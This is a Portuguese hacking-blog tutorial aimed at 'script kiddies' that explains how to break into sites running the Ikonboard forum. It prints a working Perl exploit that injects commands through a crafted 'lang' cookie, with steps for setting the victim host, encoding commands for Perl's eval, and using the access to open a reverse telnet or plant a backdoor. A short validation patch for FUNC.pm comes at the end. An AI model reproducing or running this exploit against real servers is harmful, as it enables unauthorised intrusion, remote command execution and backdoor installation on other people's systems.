/> Invadir site com Ikonboard | <!--Can't find substitution for tag [blog.Title]-->
CMD TeaM!
/a>

Invadir site com Ikonboard

domingo, 6 de fevereiro de 2011
Tutorial esclusivo CMD TeaM 
Executar comandos em servidores que rodam todas as mais novas versões do Ikonboard, script de fórum, tal como este que usamos aqui, é trivialmente fácil, como descobriu Nick Cleaton lá em meados de abril.

Por incrível que pareça, a equipe de desenvolvimento não deu a mínima para essa descoberta. Tanto que a falha foi vista na versão 3.1.1 e foram lançadas a versão 3.1.2 e a 3.1.2a sem correção para este problema.

Irresponsabilidade da equipe e ingenuidade dos usuários, que jamais imaginariam uma versão nova que não corrigisse problemas tão graves quanto esse.

O resultado é que um script kiddie pode (e efetivamente o faz, como alguns viram aqui no ISTF) usar esta receita de bolo:

1. Vá em 
http://www.securityfocus.com/bid/7361 (ou, se preferir, faça uma pesquisa no Google por &quot;ikonboard security&quot;)

2. Se não quiser ler a explicação do problema, não precisa. Script kiddie não precisa aprender nada. Copie e cole o seguinte trecho no seu editor de texto preferido:
<table border="0" align="center" width="95%" cellpadding="0" cellspacing="0"><tr><td>Exemplo código </td></tr><tr><td id="CODE">#!/usr/bin/perl -w
use strict;

my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';

use IO::Socket;

my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";

$sock->print(
&nbsp; &nbsp;"GET $PATH HTTP/1.1\r\n",
&nbsp; &nbsp;"Host: $HOST\r\n",
&nbsp; &nbsp;"Cookie: lang=%2E%22\r\n",
&nbsp; &nbsp;"Connection: close\r\n",
&nbsp; &nbsp;"\r\n"
) or die "write: $!";

print while <$sock>;
[/quote]

3. Altere as primeiras variáveis para o site da vítima.

4. Agora observe a linha 16, onde começa com &quot;Cookie: lang=&quot;. É depois do igual que você vai colocar seus comandos.

5. Você vai precisar codificar os comandos. Use alguma coisa desse tipo: http://www.simplelogic.com/Developer/InetEncode.asp 
(use o resultado path). Use o caracter ` no início e no final do comando, pois isto é passado para um &quot;eval&quot; do perl. Coloque ainda o caracter null () no final de toda a string.

A partir deste ponto é questão de tentativa e erro. Vc pode tentar abrir um telnet reverso, listar arquivos ou até mesmo baixar e compilar algum backdoor. Mas vc vai estar limitado ao comandos permitidos pelo usuário web que está rodando o script.

Nada que algumas horinhas sem nada melhor para fazer da sua vida não resolva...

Para resolver é ainda mais simples: abra o Sources/Lib/FUNC.pm e altere as linhas

104:
$sid =~ s/^(\d+)$/$1/;

para:
$sid =~ s/^(\d+)$/$1/ or die 'invalid sid value';

192:
$iB::COOKIES-&gt;{$iB::INFO-&gt;{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/;

para:
$iB::COOKIES-&gt;{$iB::INFO-&gt;{'COOKIE_ID'}.'lang'} =~ s/^([\d\w]+)$/$1/ or die 'invalid lang cookie value';

Para melhores resultados tem que entender um pouco de Scripts
By Sombra

0 comentários:

Postar um comentário

Seja Original ... Seja CMD TeaM!!!

DESCRIÇÃO-AQUI.